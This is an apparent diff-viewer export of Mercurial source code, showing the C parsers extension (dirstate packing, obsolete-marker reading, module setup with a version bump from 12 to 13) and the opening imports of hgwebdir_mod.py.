252 * Build a set of non-normal and other parent entries from the dirstate dmap
253 */
253 */
254 static PyObject *nonnormalotherparententries(PyObject *self, PyObject *args)
254 static PyObject *nonnormalotherparententries(PyObject *self, PyObject *args)
255 {
255 {
256 PyObject *dmap, *fname, *v;
256 PyObject *dmap, *fname, *v;
257 PyObject *nonnset = NULL, *otherpset = NULL, *result = NULL;
257 PyObject *nonnset = NULL, *otherpset = NULL, *result = NULL;
258 Py_ssize_t pos;
258 Py_ssize_t pos;
259
259
260 if (!PyArg_ParseTuple(args, "O!:nonnormalentries", &PyDict_Type,
260 if (!PyArg_ParseTuple(args, "O!:nonnormalentries", &PyDict_Type,
261 &dmap)) {
261 &dmap)) {
262 goto bail;
262 goto bail;
263 }
263 }
264
264
265 nonnset = PySet_New(NULL);
265 nonnset = PySet_New(NULL);
266 if (nonnset == NULL) {
266 if (nonnset == NULL) {
267 goto bail;
267 goto bail;
268 }
268 }
269
269
270 otherpset = PySet_New(NULL);
270 otherpset = PySet_New(NULL);
271 if (otherpset == NULL) {
271 if (otherpset == NULL) {
272 goto bail;
272 goto bail;
273 }
273 }
274
274
275 pos = 0;
275 pos = 0;
276 while (PyDict_Next(dmap, &pos, &fname, &v)) {
276 while (PyDict_Next(dmap, &pos, &fname, &v)) {
277 dirstateTupleObject *t;
277 dirstateTupleObject *t;
278 if (!dirstate_tuple_check(v)) {
278 if (!dirstate_tuple_check(v)) {
279 PyErr_SetString(PyExc_TypeError,
279 PyErr_SetString(PyExc_TypeError,
280 "expected a dirstate tuple");
280 "expected a dirstate tuple");
281 goto bail;
281 goto bail;
282 }
282 }
283 t = (dirstateTupleObject *)v;
283 t = (dirstateTupleObject *)v;
284
284
285 if (t->state == 'n' && t->size == -2) {
285 if (t->state == 'n' && t->size == -2) {
286 if (PySet_Add(otherpset, fname) == -1) {
286 if (PySet_Add(otherpset, fname) == -1) {
287 goto bail;
287 goto bail;
288 }
288 }
289 }
289 }
290
290
291 if (t->state == 'n' && t->mtime != -1) {
291 if (t->state == 'n' && t->mtime != -1) {
292 continue;
292 continue;
293 }
293 }
294 if (PySet_Add(nonnset, fname) == -1) {
294 if (PySet_Add(nonnset, fname) == -1) {
295 goto bail;
295 goto bail;
296 }
296 }
297 }
297 }
298
298
299 result = Py_BuildValue("(OO)", nonnset, otherpset);
299 result = Py_BuildValue("(OO)", nonnset, otherpset);
300 if (result == NULL) {
300 if (result == NULL) {
301 goto bail;
301 goto bail;
302 }
302 }
303 Py_DECREF(nonnset);
303 Py_DECREF(nonnset);
304 Py_DECREF(otherpset);
304 Py_DECREF(otherpset);
305 return result;
305 return result;
306 bail:
306 bail:
307 Py_XDECREF(nonnset);
307 Py_XDECREF(nonnset);
308 Py_XDECREF(otherpset);
308 Py_XDECREF(otherpset);
309 Py_XDECREF(result);
309 Py_XDECREF(result);
310 return NULL;
310 return NULL;
311 }
311 }
312
312
313 /*
313 /*
314 * Efficiently pack a dirstate object into its on-disk format.
314 * Efficiently pack a dirstate object into its on-disk format.
315 */
315 */
316 static PyObject *pack_dirstate(PyObject *self, PyObject *args)
316 static PyObject *pack_dirstate(PyObject *self, PyObject *args)
317 {
317 {
318 PyObject *packobj = NULL;
318 PyObject *packobj = NULL;
319 PyObject *map, *copymap, *pl, *mtime_unset = NULL;
319 PyObject *map, *copymap, *pl, *mtime_unset = NULL;
320 Py_ssize_t nbytes, pos, l;
320 Py_ssize_t nbytes, pos, l;
321 PyObject *k, *v = NULL, *pn;
321 PyObject *k, *v = NULL, *pn;
322 char *p, *s;
322 char *p, *s;
323 int now;
323 int now;
324
324
325 if (!PyArg_ParseTuple(args, "O!O!O!i:pack_dirstate", &PyDict_Type, &map,
325 if (!PyArg_ParseTuple(args, "O!O!O!i:pack_dirstate", &PyDict_Type, &map,
326 &PyDict_Type, &copymap, &PyTuple_Type, &pl,
326 &PyDict_Type, &copymap, &PyTuple_Type, &pl,
327 &now)) {
327 &now)) {
328 return NULL;
328 return NULL;
329 }
329 }
330
330
331 if (PyTuple_Size(pl) != 2) {
331 if (PyTuple_Size(pl) != 2) {
332 PyErr_SetString(PyExc_TypeError, "expected 2-element tuple");
332 PyErr_SetString(PyExc_TypeError, "expected 2-element tuple");
333 return NULL;
333 return NULL;
334 }
334 }
335
335
336 /* Figure out how much we need to allocate. */
336 /* Figure out how much we need to allocate. */
337 for (nbytes = 40, pos = 0; PyDict_Next(map, &pos, &k, &v);) {
337 for (nbytes = 40, pos = 0; PyDict_Next(map, &pos, &k, &v);) {
338 PyObject *c;
338 PyObject *c;
339 if (!PyBytes_Check(k)) {
339 if (!PyBytes_Check(k)) {
340 PyErr_SetString(PyExc_TypeError, "expected string key");
340 PyErr_SetString(PyExc_TypeError, "expected string key");
341 goto bail;
341 goto bail;
342 }
342 }
343 nbytes += PyBytes_GET_SIZE(k) + 17;
343 nbytes += PyBytes_GET_SIZE(k) + 17;
344 c = PyDict_GetItem(copymap, k);
344 c = PyDict_GetItem(copymap, k);
345 if (c) {
345 if (c) {
346 if (!PyBytes_Check(c)) {
346 if (!PyBytes_Check(c)) {
347 PyErr_SetString(PyExc_TypeError,
347 PyErr_SetString(PyExc_TypeError,
348 "expected string key");
348 "expected string key");
349 goto bail;
349 goto bail;
350 }
350 }
351 nbytes += PyBytes_GET_SIZE(c) + 1;
351 nbytes += PyBytes_GET_SIZE(c) + 1;
352 }
352 }
353 }
353 }
354
354
355 packobj = PyBytes_FromStringAndSize(NULL, nbytes);
355 packobj = PyBytes_FromStringAndSize(NULL, nbytes);
356 if (packobj == NULL) {
356 if (packobj == NULL) {
357 goto bail;
357 goto bail;
358 }
358 }
359
359
360 p = PyBytes_AS_STRING(packobj);
360 p = PyBytes_AS_STRING(packobj);
361
361
362 pn = PyTuple_GET_ITEM(pl, 0);
362 pn = PyTuple_GET_ITEM(pl, 0);
363 if (PyBytes_AsStringAndSize(pn, &s, &l) == -1 || l != 20) {
363 if (PyBytes_AsStringAndSize(pn, &s, &l) == -1 || l != 20) {
364 PyErr_SetString(PyExc_TypeError, "expected a 20-byte hash");
364 PyErr_SetString(PyExc_TypeError, "expected a 20-byte hash");
365 goto bail;
365 goto bail;
366 }
366 }
367 memcpy(p, s, l);
367 memcpy(p, s, l);
368 p += 20;
368 p += 20;
369 pn = PyTuple_GET_ITEM(pl, 1);
369 pn = PyTuple_GET_ITEM(pl, 1);
370 if (PyBytes_AsStringAndSize(pn, &s, &l) == -1 || l != 20) {
370 if (PyBytes_AsStringAndSize(pn, &s, &l) == -1 || l != 20) {
371 PyErr_SetString(PyExc_TypeError, "expected a 20-byte hash");
371 PyErr_SetString(PyExc_TypeError, "expected a 20-byte hash");
372 goto bail;
372 goto bail;
373 }
373 }
374 memcpy(p, s, l);
374 memcpy(p, s, l);
375 p += 20;
375 p += 20;
376
376
377 for (pos = 0; PyDict_Next(map, &pos, &k, &v);) {
377 for (pos = 0; PyDict_Next(map, &pos, &k, &v);) {
378 dirstateTupleObject *tuple;
378 dirstateTupleObject *tuple;
379 char state;
379 char state;
380 int mode, size, mtime;
380 int mode, size, mtime;
381 Py_ssize_t len, l;
381 Py_ssize_t len, l;
382 PyObject *o;
382 PyObject *o;
383 char *t;
383 char *t;
384
384
385 if (!dirstate_tuple_check(v)) {
385 if (!dirstate_tuple_check(v)) {
386 PyErr_SetString(PyExc_TypeError,
386 PyErr_SetString(PyExc_TypeError,
387 "expected a dirstate tuple");
387 "expected a dirstate tuple");
388 goto bail;
388 goto bail;
389 }
389 }
390 tuple = (dirstateTupleObject *)v;
390 tuple = (dirstateTupleObject *)v;
391
391
392 state = tuple->state;
392 state = tuple->state;
393 mode = tuple->mode;
393 mode = tuple->mode;
394 size = tuple->size;
394 size = tuple->size;
395 mtime = tuple->mtime;
395 mtime = tuple->mtime;
396 if (state == 'n' && mtime == now) {
396 if (state == 'n' && mtime == now) {
397 /* See pure/parsers.py:pack_dirstate for why we do
397 /* See pure/parsers.py:pack_dirstate for why we do
398 * this. */
398 * this. */
399 mtime = -1;
399 mtime = -1;
400 mtime_unset = (PyObject *)make_dirstate_tuple(
400 mtime_unset = (PyObject *)make_dirstate_tuple(
401 state, mode, size, mtime);
401 state, mode, size, mtime);
402 if (!mtime_unset) {
402 if (!mtime_unset) {
403 goto bail;
403 goto bail;
404 }
404 }
405 if (PyDict_SetItem(map, k, mtime_unset) == -1) {
405 if (PyDict_SetItem(map, k, mtime_unset) == -1) {
406 goto bail;
406 goto bail;
407 }
407 }
408 Py_DECREF(mtime_unset);
408 Py_DECREF(mtime_unset);
409 mtime_unset = NULL;
409 mtime_unset = NULL;
410 }
410 }
411 *p++ = state;
411 *p++ = state;
412 putbe32((uint32_t)mode, p);
412 putbe32((uint32_t)mode, p);
413 putbe32((uint32_t)size, p + 4);
413 putbe32((uint32_t)size, p + 4);
414 putbe32((uint32_t)mtime, p + 8);
414 putbe32((uint32_t)mtime, p + 8);
415 t = p + 12;
415 t = p + 12;
416 p += 16;
416 p += 16;
417 len = PyBytes_GET_SIZE(k);
417 len = PyBytes_GET_SIZE(k);
418 memcpy(p, PyBytes_AS_STRING(k), len);
418 memcpy(p, PyBytes_AS_STRING(k), len);
419 p += len;
419 p += len;
420 o = PyDict_GetItem(copymap, k);
420 o = PyDict_GetItem(copymap, k);
421 if (o) {
421 if (o) {
422 *p++ = '\0';
422 *p++ = '\0';
423 l = PyBytes_GET_SIZE(o);
423 l = PyBytes_GET_SIZE(o);
424 memcpy(p, PyBytes_AS_STRING(o), l);
424 memcpy(p, PyBytes_AS_STRING(o), l);
425 p += l;
425 p += l;
426 len += l + 1;
426 len += l + 1;
427 }
427 }
428 putbe32((uint32_t)len, t);
428 putbe32((uint32_t)len, t);
429 }
429 }
430
430
431 pos = p - PyBytes_AS_STRING(packobj);
431 pos = p - PyBytes_AS_STRING(packobj);
432 if (pos != nbytes) {
432 if (pos != nbytes) {
433 PyErr_Format(PyExc_SystemError, "bad dirstate size: %ld != %ld",
433 PyErr_Format(PyExc_SystemError, "bad dirstate size: %ld != %ld",
434 (long)pos, (long)nbytes);
434 (long)pos, (long)nbytes);
435 goto bail;
435 goto bail;
436 }
436 }
437
437
438 return packobj;
438 return packobj;
439 bail:
439 bail:
440 Py_XDECREF(mtime_unset);
440 Py_XDECREF(mtime_unset);
441 Py_XDECREF(packobj);
441 Py_XDECREF(packobj);
442 Py_XDECREF(v);
442 Py_XDECREF(v);
443 return NULL;
443 return NULL;
444 }
444 }
445
445
446 #define BUMPED_FIX 1
446 #define BUMPED_FIX 1
447 #define USING_SHA_256 2
447 #define USING_SHA_256 2
448 #define FM1_HEADER_SIZE (4 + 8 + 2 + 2 + 1 + 1 + 1)
448 #define FM1_HEADER_SIZE (4 + 8 + 2 + 2 + 1 + 1 + 1)
449
449
450 static PyObject *readshas(const char *source, unsigned char num,
450 static PyObject *readshas(const char *source, unsigned char num,
451 Py_ssize_t hashwidth)
451 Py_ssize_t hashwidth)
452 {
452 {
453 int i;
453 int i;
454 PyObject *list = PyTuple_New(num);
454 PyObject *list = PyTuple_New(num);
455 if (list == NULL) {
455 if (list == NULL) {
456 return NULL;
456 return NULL;
457 }
457 }
458 for (i = 0; i < num; i++) {
458 for (i = 0; i < num; i++) {
459 PyObject *hash = PyBytes_FromStringAndSize(source, hashwidth);
459 PyObject *hash = PyBytes_FromStringAndSize(source, hashwidth);
460 if (hash == NULL) {
460 if (hash == NULL) {
461 Py_DECREF(list);
461 Py_DECREF(list);
462 return NULL;
462 return NULL;
463 }
463 }
464 PyTuple_SET_ITEM(list, i, hash);
464 PyTuple_SET_ITEM(list, i, hash);
465 source += hashwidth;
465 source += hashwidth;
466 }
466 }
467 return list;
467 return list;
468 }
468 }
469
469
470 static PyObject *fm1readmarker(const char *databegin, const char *dataend,
470 static PyObject *fm1readmarker(const char *databegin, const char *dataend,
471 uint32_t *msize)
471 uint32_t *msize)
472 {
472 {
473 const char *data = databegin;
473 const char *data = databegin;
474 const char *meta;
474 const char *meta;
475
475
476 double mtime;
476 double mtime;
477 int16_t tz;
477 int16_t tz;
478 uint16_t flags;
478 uint16_t flags;
479 unsigned char nsuccs, nparents, nmetadata;
479 unsigned char nsuccs, nparents, nmetadata;
480 Py_ssize_t hashwidth = 20;
480 Py_ssize_t hashwidth = 20;
481
481
482 PyObject *prec = NULL, *parents = NULL, *succs = NULL;
482 PyObject *prec = NULL, *parents = NULL, *succs = NULL;
483 PyObject *metadata = NULL, *ret = NULL;
483 PyObject *metadata = NULL, *ret = NULL;
484 int i;
484 int i;
485
485
486 if (data + FM1_HEADER_SIZE > dataend) {
486 if (data + FM1_HEADER_SIZE > dataend) {
487 goto overflow;
487 goto overflow;
488 }
488 }
489
489
490 *msize = getbe32(data);
490 *msize = getbe32(data);
491 data += 4;
491 data += 4;
492 mtime = getbefloat64(data);
492 mtime = getbefloat64(data);
493 data += 8;
493 data += 8;
494 tz = getbeint16(data);
494 tz = getbeint16(data);
495 data += 2;
495 data += 2;
496 flags = getbeuint16(data);
496 flags = getbeuint16(data);
497 data += 2;
497 data += 2;
498
498
499 if (flags & USING_SHA_256) {
499 if (flags & USING_SHA_256) {
500 hashwidth = 32;
500 hashwidth = 32;
501 }
501 }
502
502
503 nsuccs = (unsigned char)(*data++);
503 nsuccs = (unsigned char)(*data++);
504 nparents = (unsigned char)(*data++);
504 nparents = (unsigned char)(*data++);
505 nmetadata = (unsigned char)(*data++);
505 nmetadata = (unsigned char)(*data++);
506
506
507 if (databegin + *msize > dataend) {
507 if (databegin + *msize > dataend) {
508 goto overflow;
508 goto overflow;
509 }
509 }
510 dataend = databegin + *msize; /* narrow down to marker size */
510 dataend = databegin + *msize; /* narrow down to marker size */
511
511
512 if (data + hashwidth > dataend) {
512 if (data + hashwidth > dataend) {
513 goto overflow;
513 goto overflow;
514 }
514 }
515 prec = PyBytes_FromStringAndSize(data, hashwidth);
515 prec = PyBytes_FromStringAndSize(data, hashwidth);
516 data += hashwidth;
516 data += hashwidth;
517 if (prec == NULL) {
517 if (prec == NULL) {
518 goto bail;
518 goto bail;
519 }
519 }
520
520
521 if (data + nsuccs * hashwidth > dataend) {
521 if (data + nsuccs * hashwidth > dataend) {
522 goto overflow;
522 goto overflow;
523 }
523 }
524 succs = readshas(data, nsuccs, hashwidth);
524 succs = readshas(data, nsuccs, hashwidth);
525 if (succs == NULL) {
525 if (succs == NULL) {
526 goto bail;
526 goto bail;
527 }
527 }
528 data += nsuccs * hashwidth;
528 data += nsuccs * hashwidth;
529
529
530 if (nparents == 1 || nparents == 2) {
530 if (nparents == 1 || nparents == 2) {
531 if (data + nparents * hashwidth > dataend) {
531 if (data + nparents * hashwidth > dataend) {
532 goto overflow;
532 goto overflow;
533 }
533 }
534 parents = readshas(data, nparents, hashwidth);
534 parents = readshas(data, nparents, hashwidth);
535 if (parents == NULL) {
535 if (parents == NULL) {
536 goto bail;
536 goto bail;
537 }
537 }
538 data += nparents * hashwidth;
538 data += nparents * hashwidth;
539 } else {
539 } else {
540 parents = Py_None;
540 parents = Py_None;
541 Py_INCREF(parents);
541 Py_INCREF(parents);
542 }
542 }
543
543
544 if (data + 2 * nmetadata > dataend) {
544 if (data + 2 * nmetadata > dataend) {
545 goto overflow;
545 goto overflow;
546 }
546 }
547 meta = data + (2 * nmetadata);
547 meta = data + (2 * nmetadata);
548 metadata = PyTuple_New(nmetadata);
548 metadata = PyTuple_New(nmetadata);
549 if (metadata == NULL) {
549 if (metadata == NULL) {
550 goto bail;
550 goto bail;
551 }
551 }
552 for (i = 0; i < nmetadata; i++) {
552 for (i = 0; i < nmetadata; i++) {
553 PyObject *tmp, *left = NULL, *right = NULL;
553 PyObject *tmp, *left = NULL, *right = NULL;
554 Py_ssize_t leftsize = (unsigned char)(*data++);
554 Py_ssize_t leftsize = (unsigned char)(*data++);
555 Py_ssize_t rightsize = (unsigned char)(*data++);
555 Py_ssize_t rightsize = (unsigned char)(*data++);
556 if (meta + leftsize + rightsize > dataend) {
556 if (meta + leftsize + rightsize > dataend) {
557 goto overflow;
557 goto overflow;
558 }
558 }
559 left = PyBytes_FromStringAndSize(meta, leftsize);
559 left = PyBytes_FromStringAndSize(meta, leftsize);
560 meta += leftsize;
560 meta += leftsize;
561 right = PyBytes_FromStringAndSize(meta, rightsize);
561 right = PyBytes_FromStringAndSize(meta, rightsize);
562 meta += rightsize;
562 meta += rightsize;
563 tmp = PyTuple_New(2);
563 tmp = PyTuple_New(2);
564 if (!left || !right || !tmp) {
564 if (!left || !right || !tmp) {
565 Py_XDECREF(left);
565 Py_XDECREF(left);
566 Py_XDECREF(right);
566 Py_XDECREF(right);
567 Py_XDECREF(tmp);
567 Py_XDECREF(tmp);
568 goto bail;
568 goto bail;
569 }
569 }
570 PyTuple_SET_ITEM(tmp, 0, left);
570 PyTuple_SET_ITEM(tmp, 0, left);
571 PyTuple_SET_ITEM(tmp, 1, right);
571 PyTuple_SET_ITEM(tmp, 1, right);
572 PyTuple_SET_ITEM(metadata, i, tmp);
572 PyTuple_SET_ITEM(metadata, i, tmp);
573 }
573 }
574 ret = Py_BuildValue("(OOHO(di)O)", prec, succs, flags, metadata, mtime,
574 ret = Py_BuildValue("(OOHO(di)O)", prec, succs, flags, metadata, mtime,
575 (int)tz * 60, parents);
575 (int)tz * 60, parents);
576 goto bail; /* return successfully */
576 goto bail; /* return successfully */
577
577
578 overflow:
578 overflow:
579 PyErr_SetString(PyExc_ValueError, "overflow in obsstore");
579 PyErr_SetString(PyExc_ValueError, "overflow in obsstore");
580 bail:
580 bail:
581 Py_XDECREF(prec);
581 Py_XDECREF(prec);
582 Py_XDECREF(succs);
582 Py_XDECREF(succs);
583 Py_XDECREF(metadata);
583 Py_XDECREF(metadata);
584 Py_XDECREF(parents);
584 Py_XDECREF(parents);
585 return ret;
585 return ret;
586 }
586 }
587
587
588 static PyObject *fm1readmarkers(PyObject *self, PyObject *args)
588 static PyObject *fm1readmarkers(PyObject *self, PyObject *args)
589 {
589 {
590 const char *data, *dataend;
590 const char *data, *dataend;
591 Py_ssize_t datalen, offset, stop;
591 Py_ssize_t datalen, offset, stop;
592 PyObject *markers = NULL;
592 PyObject *markers = NULL;
593
593
594 if (!PyArg_ParseTuple(args, PY23("s#nn", "y#nn"), &data, &datalen,
594 if (!PyArg_ParseTuple(args, PY23("s#nn", "y#nn"), &data, &datalen,
595 &offset, &stop)) {
595 &offset, &stop)) {
596 return NULL;
596 return NULL;
597 }
597 }
598 if (offset < 0) {
598 if (offset < 0) {
599 PyErr_SetString(PyExc_ValueError,
599 PyErr_SetString(PyExc_ValueError,
600 "invalid negative offset in fm1readmarkers");
600 "invalid negative offset in fm1readmarkers");
601 return NULL;
601 return NULL;
602 }
602 }
603 if (stop > datalen) {
603 if (stop > datalen) {
604 PyErr_SetString(
604 PyErr_SetString(
605 PyExc_ValueError,
605 PyExc_ValueError,
606 "stop longer than data length in fm1readmarkers");
606 "stop longer than data length in fm1readmarkers");
607 return NULL;
607 return NULL;
608 }
608 }
609 dataend = data + datalen;
609 dataend = data + datalen;
610 data += offset;
610 data += offset;
611 markers = PyList_New(0);
611 markers = PyList_New(0);
612 if (!markers) {
612 if (!markers) {
613 return NULL;
613 return NULL;
614 }
614 }
615 while (offset < stop) {
615 while (offset < stop) {
616 uint32_t msize;
616 uint32_t msize;
617 int error;
617 int error;
618 PyObject *record = fm1readmarker(data, dataend, &msize);
618 PyObject *record = fm1readmarker(data, dataend, &msize);
619 if (!record) {
619 if (!record) {
620 goto bail;
620 goto bail;
621 }
621 }
622 error = PyList_Append(markers, record);
622 error = PyList_Append(markers, record);
623 Py_DECREF(record);
623 Py_DECREF(record);
624 if (error) {
624 if (error) {
625 goto bail;
625 goto bail;
626 }
626 }
627 data += msize;
627 data += msize;
628 offset += msize;
628 offset += msize;
629 }
629 }
630 return markers;
630 return markers;
631 bail:
631 bail:
632 Py_DECREF(markers);
632 Py_DECREF(markers);
633 return NULL;
633 return NULL;
634 }
634 }
635
635
636 static char parsers_doc[] = "Efficient content parsing.";
636 static char parsers_doc[] = "Efficient content parsing.";
637
637
638 PyObject *encodedir(PyObject *self, PyObject *args);
638 PyObject *encodedir(PyObject *self, PyObject *args);
639 PyObject *pathencode(PyObject *self, PyObject *args);
639 PyObject *pathencode(PyObject *self, PyObject *args);
640 PyObject *lowerencode(PyObject *self, PyObject *args);
640 PyObject *lowerencode(PyObject *self, PyObject *args);
641 PyObject *parse_index2(PyObject *self, PyObject *args);
641 PyObject *parse_index2(PyObject *self, PyObject *args);
642
642
643 static PyMethodDef methods[] = {
643 static PyMethodDef methods[] = {
644 {"pack_dirstate", pack_dirstate, METH_VARARGS, "pack a dirstate\n"},
644 {"pack_dirstate", pack_dirstate, METH_VARARGS, "pack a dirstate\n"},
645 {"nonnormalotherparententries", nonnormalotherparententries, METH_VARARGS,
645 {"nonnormalotherparententries", nonnormalotherparententries, METH_VARARGS,
646 "create a set containing non-normal and other parent entries of given "
646 "create a set containing non-normal and other parent entries of given "
647 "dirstate\n"},
647 "dirstate\n"},
648 {"parse_dirstate", parse_dirstate, METH_VARARGS, "parse a dirstate\n"},
648 {"parse_dirstate", parse_dirstate, METH_VARARGS, "parse a dirstate\n"},
649 {"parse_index2", parse_index2, METH_VARARGS, "parse a revlog index\n"},
649 {"parse_index2", parse_index2, METH_VARARGS, "parse a revlog index\n"},
650 {"isasciistr", isasciistr, METH_VARARGS, "check if an ASCII string\n"},
650 {"isasciistr", isasciistr, METH_VARARGS, "check if an ASCII string\n"},
651 {"asciilower", asciilower, METH_VARARGS, "lowercase an ASCII string\n"},
651 {"asciilower", asciilower, METH_VARARGS, "lowercase an ASCII string\n"},
652 {"asciiupper", asciiupper, METH_VARARGS, "uppercase an ASCII string\n"},
652 {"asciiupper", asciiupper, METH_VARARGS, "uppercase an ASCII string\n"},
653 {"dict_new_presized", dict_new_presized, METH_VARARGS,
653 {"dict_new_presized", dict_new_presized, METH_VARARGS,
654 "construct a dict with an expected size\n"},
654 "construct a dict with an expected size\n"},
655 {"make_file_foldmap", make_file_foldmap, METH_VARARGS,
655 {"make_file_foldmap", make_file_foldmap, METH_VARARGS,
656 "make file foldmap\n"},
656 "make file foldmap\n"},
657 {"jsonescapeu8fast", jsonescapeu8fast, METH_VARARGS,
657 {"jsonescapeu8fast", jsonescapeu8fast, METH_VARARGS,
658 "escape a UTF-8 byte string to JSON (fast path)\n"},
658 "escape a UTF-8 byte string to JSON (fast path)\n"},
659 {"encodedir", encodedir, METH_VARARGS, "encodedir a path\n"},
659 {"encodedir", encodedir, METH_VARARGS, "encodedir a path\n"},
660 {"pathencode", pathencode, METH_VARARGS, "fncache-encode a path\n"},
660 {"pathencode", pathencode, METH_VARARGS, "fncache-encode a path\n"},
661 {"lowerencode", lowerencode, METH_VARARGS, "lower-encode a path\n"},
661 {"lowerencode", lowerencode, METH_VARARGS, "lower-encode a path\n"},
662 {"fm1readmarkers", fm1readmarkers, METH_VARARGS,
662 {"fm1readmarkers", fm1readmarkers, METH_VARARGS,
663 "parse v1 obsolete markers\n"},
663 "parse v1 obsolete markers\n"},
664 {NULL, NULL}};
664 {NULL, NULL}};
665
665
666 void dirs_module_init(PyObject *mod);
666 void dirs_module_init(PyObject *mod);
667 void manifest_module_init(PyObject *mod);
667 void manifest_module_init(PyObject *mod);
668 void revlog_module_init(PyObject *mod);
668 void revlog_module_init(PyObject *mod);
669
669
670 static const int version = 12;
670 static const int version = 13;
671
671
672 static void module_init(PyObject *mod)
672 static void module_init(PyObject *mod)
673 {
673 {
674 PyObject *capsule = NULL;
674 PyObject *capsule = NULL;
675 PyModule_AddIntConstant(mod, "version", version);
675 PyModule_AddIntConstant(mod, "version", version);
676
676
677 /* This module constant has two purposes. First, it lets us unit test
677 /* This module constant has two purposes. First, it lets us unit test
678 * the ImportError raised without hard-coding any error text. This
678 * the ImportError raised without hard-coding any error text. This
679 * means we can change the text in the future without breaking tests,
679 * means we can change the text in the future without breaking tests,
680 * even across changesets without a recompile. Second, its presence
680 * even across changesets without a recompile. Second, its presence
681 * can be used to determine whether the version-checking logic is
681 * can be used to determine whether the version-checking logic is
682 * present, which also helps in testing across changesets without a
682 * present, which also helps in testing across changesets without a
683 * recompile. Note that this means the pure-Python version of parsers
683 * recompile. Note that this means the pure-Python version of parsers
684 * should not have this module constant. */
684 * should not have this module constant. */
685 PyModule_AddStringConstant(mod, "versionerrortext", versionerrortext);
685 PyModule_AddStringConstant(mod, "versionerrortext", versionerrortext);
686
686
687 dirs_module_init(mod);
687 dirs_module_init(mod);
688 manifest_module_init(mod);
688 manifest_module_init(mod);
689 revlog_module_init(mod);
689 revlog_module_init(mod);
690
690
691 capsule = PyCapsule_New(
691 capsule = PyCapsule_New(
692 make_dirstate_tuple,
692 make_dirstate_tuple,
693 "mercurial.cext.parsers.make_dirstate_tuple_CAPI", NULL);
693 "mercurial.cext.parsers.make_dirstate_tuple_CAPI", NULL);
694 if (capsule != NULL)
694 if (capsule != NULL)
695 PyModule_AddObject(mod, "make_dirstate_tuple_CAPI", capsule);
695 PyModule_AddObject(mod, "make_dirstate_tuple_CAPI", capsule);
696
696
697 if (PyType_Ready(&dirstateTupleType) < 0) {
697 if (PyType_Ready(&dirstateTupleType) < 0) {
698 return;
698 return;
699 }
699 }
700 Py_INCREF(&dirstateTupleType);
700 Py_INCREF(&dirstateTupleType);
701 PyModule_AddObject(mod, "dirstatetuple",
701 PyModule_AddObject(mod, "dirstatetuple",
702 (PyObject *)&dirstateTupleType);
702 (PyObject *)&dirstateTupleType);
703 }
703 }
704
704
705 static int check_python_version(void)
705 static int check_python_version(void)
706 {
706 {
707 PyObject *sys = PyImport_ImportModule("sys"), *ver;
707 PyObject *sys = PyImport_ImportModule("sys"), *ver;
708 long hexversion;
708 long hexversion;
709 if (!sys) {
709 if (!sys) {
710 return -1;
710 return -1;
711 }
711 }
712 ver = PyObject_GetAttrString(sys, "hexversion");
712 ver = PyObject_GetAttrString(sys, "hexversion");
713 Py_DECREF(sys);
713 Py_DECREF(sys);
714 if (!ver) {
714 if (!ver) {
715 return -1;
715 return -1;
716 }
716 }
717 hexversion = PyInt_AsLong(ver);
717 hexversion = PyInt_AsLong(ver);
718 Py_DECREF(ver);
718 Py_DECREF(ver);
719 /* sys.hexversion is a 32-bit number by default, so the -1 case
719 /* sys.hexversion is a 32-bit number by default, so the -1 case
720 * should only occur in unusual circumstances (e.g. if sys.hexversion
720 * should only occur in unusual circumstances (e.g. if sys.hexversion
721 * is manually set to an invalid value). */
721 * is manually set to an invalid value). */
722 if ((hexversion == -1) || (hexversion >> 16 != PY_VERSION_HEX >> 16)) {
722 if ((hexversion == -1) || (hexversion >> 16 != PY_VERSION_HEX >> 16)) {
723 PyErr_Format(PyExc_ImportError,
723 PyErr_Format(PyExc_ImportError,
724 "%s: The Mercurial extension "
724 "%s: The Mercurial extension "
725 "modules were compiled with Python " PY_VERSION
725 "modules were compiled with Python " PY_VERSION
726 ", but "
726 ", but "
727 "Mercurial is currently using Python with "
727 "Mercurial is currently using Python with "
728 "sys.hexversion=%ld: "
728 "sys.hexversion=%ld: "
729 "Python %s\n at: %s",
729 "Python %s\n at: %s",
730 versionerrortext, hexversion, Py_GetVersion(),
730 versionerrortext, hexversion, Py_GetVersion(),
731 Py_GetProgramFullPath());
731 Py_GetProgramFullPath());
732 return -1;
732 return -1;
733 }
733 }
734 return 0;
734 return 0;
735 }
735 }
736
736
737 #ifdef IS_PY3K
737 #ifdef IS_PY3K
738 static struct PyModuleDef parsers_module = {PyModuleDef_HEAD_INIT, "parsers",
738 static struct PyModuleDef parsers_module = {PyModuleDef_HEAD_INIT, "parsers",
739 parsers_doc, -1, methods};
739 parsers_doc, -1, methods};
740
740
741 PyMODINIT_FUNC PyInit_parsers(void)
741 PyMODINIT_FUNC PyInit_parsers(void)
742 {
742 {
743 PyObject *mod;
743 PyObject *mod;
744
744
745 if (check_python_version() == -1)
745 if (check_python_version() == -1)
746 return NULL;
746 return NULL;
747 mod = PyModule_Create(&parsers_module);
747 mod = PyModule_Create(&parsers_module);
748 module_init(mod);
748 module_init(mod);
749 return mod;
749 return mod;
750 }
750 }
751 #else
751 #else
752 PyMODINIT_FUNC initparsers(void)
752 PyMODINIT_FUNC initparsers(void)
753 {
753 {
754 PyObject *mod;
754 PyObject *mod;
755
755
756 if (check_python_version() == -1) {
756 if (check_python_version() == -1) {
757 return;
757 return;
758 }
758 }
759 mod = Py_InitModule3("parsers", methods, parsers_doc);
759 mod = Py_InitModule3("parsers", methods, parsers_doc);
760 module_init(mod);
760 module_init(mod);
761 }
761 }
762 #endif
762 #endif
@@ -1,540 +1,536
1 # hgweb/hgwebdir_mod.py - Web interface for a directory of repositories.
1 # hgweb/hgwebdir_mod.py - Web interface for a directory of repositories.
2 #
2 #
3 # Copyright 21 May 2005 - (c) 2005 Jake Edge <jake@edge2.net>
3 # Copyright 21 May 2005 - (c) 2005 Jake Edge <jake@edge2.net>
4 # Copyright 2005, 2006 Matt Mackall <mpm@selenic.com>
4 # Copyright 2005, 2006 Matt Mackall <mpm@selenic.com>
5 #
5 #
6 # This software may be used and distributed according to the terms of the
6 # This software may be used and distributed according to the terms of the
7 # GNU General Public License version 2 or any later version.
7 # GNU General Public License version 2 or any later version.
8
8
9 from __future__ import absolute_import
9 from __future__ import absolute_import
10
10
11 import gc
11 import gc
12 import os
12 import os
13 import time
13 import time
14
14
15 from ..i18n import _
15 from ..i18n import _
16
16
17 from .common import (
17 from .common import (
18 ErrorResponse,
18 ErrorResponse,
19 HTTP_SERVER_ERROR,
19 HTTP_SERVER_ERROR,
20 cspvalues,
20 cspvalues,
21 get_contact,
21 get_contact,
22 get_mtime,
22 get_mtime,
23 ismember,
23 ismember,
